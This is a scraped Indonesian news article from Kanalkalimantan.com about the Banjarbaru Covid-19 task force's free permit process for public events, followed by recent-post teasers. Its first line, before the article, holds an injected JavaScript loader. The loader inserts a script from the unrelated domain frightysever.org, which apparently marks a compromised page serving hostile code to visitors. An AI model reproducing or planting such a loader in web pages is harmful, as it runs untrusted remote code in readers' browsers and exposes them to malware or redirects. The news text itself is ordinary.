(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kota Banjarbaru

Gelar Acara di Banjarbaru Wajib Kantongi Izin Satgas Covid-19, Tidak Dipungut Biaya!


KANALKALIMANTAN.COM, BANJARBARU – Selama masa pandemi Covid-19, seluruh acara yang bersifat mengumpulkan banyak orang harus dengan izin Satgas Covid-19. Jika tidak, maka acara bisa dibubarkan.

Di kota Banjarbaru, saat ini telah memperbolehkan menggelar acara. Hanya saja, pihak pelaksana acara wajib mengantongi surat izin rekomendasi yang dikeluarkan oleh Satuan Tugas (Satgas) Covid-19 Banjarbaru.

Koordinator Sekretariat Satgas Covid-19 Banjarbaru, Zaini Syahranie, mengungkapkan bahwa untuk mendapatkan surat izin rekomendasi tersebut, pihak pelaksana acara harus mengajukan permohonan lebih dulu.

Adapun permohonan tersebut diajukan satu minggu sebelum jadwal diselanggarakannya acara.

“Permohonan itu bentuknya seperti formulir dan diajukan ke kita satu pekan sebelum digelarnya acara.

Kami dari Satgas Covid-19 Banjarbaru akan melihat dan menilai seperti apa acara yang diselenggarakan itu, sesuai dengan keterangan pihak yang menyelenggarakannya,” katanya, Kamis (8/10/2020).

Dalam prosesnya, Satgas Covid-19 yang juga melibatkan TNI dan Polri, akan menilai acara yang diajukan tersebut, apakah memenuhi dan melaksanakan ketentuan protokol kesehatan. Jika telah dipastikan, maka Satgas Covid-19 akan mengeluarkan surat izin rekomendasi yang dimaksud.

“Jika surat izin rekomendasi ini kita keluarkan, artinya acara yang diajukan itu sudah disetujui untuk terlaksana. Tapi, Satgas Covid-19 melalui tim penegakan tetap akan melakukan monitoring saat nantinya acara berlangsung,” tambah Zaini.

Disamping itu, Zaini juga menepis isu bahwa proses pembuatan surat izin rekomendasi tersebut dikenakan biaya.

Ia menegaskan bahwa pihaknya tak pernah memungut biaya sepeserpun dalam baik dalam menyetujui rekomendasi hingga menerbirkan surat izin tersebut.

“Jadi atas nama koordinator, kami tegaskan bahwa rekomendasi yang kami berikan ini tidak memungut biaya sepeserpun. Permohonan rekomendasi ini gratis,” tegasnya.

Hingga kini, surat izin rekomendasi penyelenggaraan acara yang dikeluarkan oleh Satgas Covid-19 Banjarbaru didominasi oleh acara akad dan resepsi pernikahan. Termasuk juga acara bertemakan sosialisasi dan seminar.

Bagi masyarakat atau pihak manapun yang ingin mendapatkan surat izin rekomendasi penyelanggaraan acara, dapat mengajukan permohonan di kantor Sekretariat Satgas Covid-19 yang berlokasi di Balai Pemerintah Kota Banjarbaru.

“Permohonan tertulis dengan mengisi formulir itu. Nanti kami akan menilai apakah sudah memenuhi syarat protokol kesehatan serta mempertimbangkan jumlah orang yang hadir,” lugas Zaini. (Kanalkalimantan.com/rico)

Reporter: Rico
Editor: Cell


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.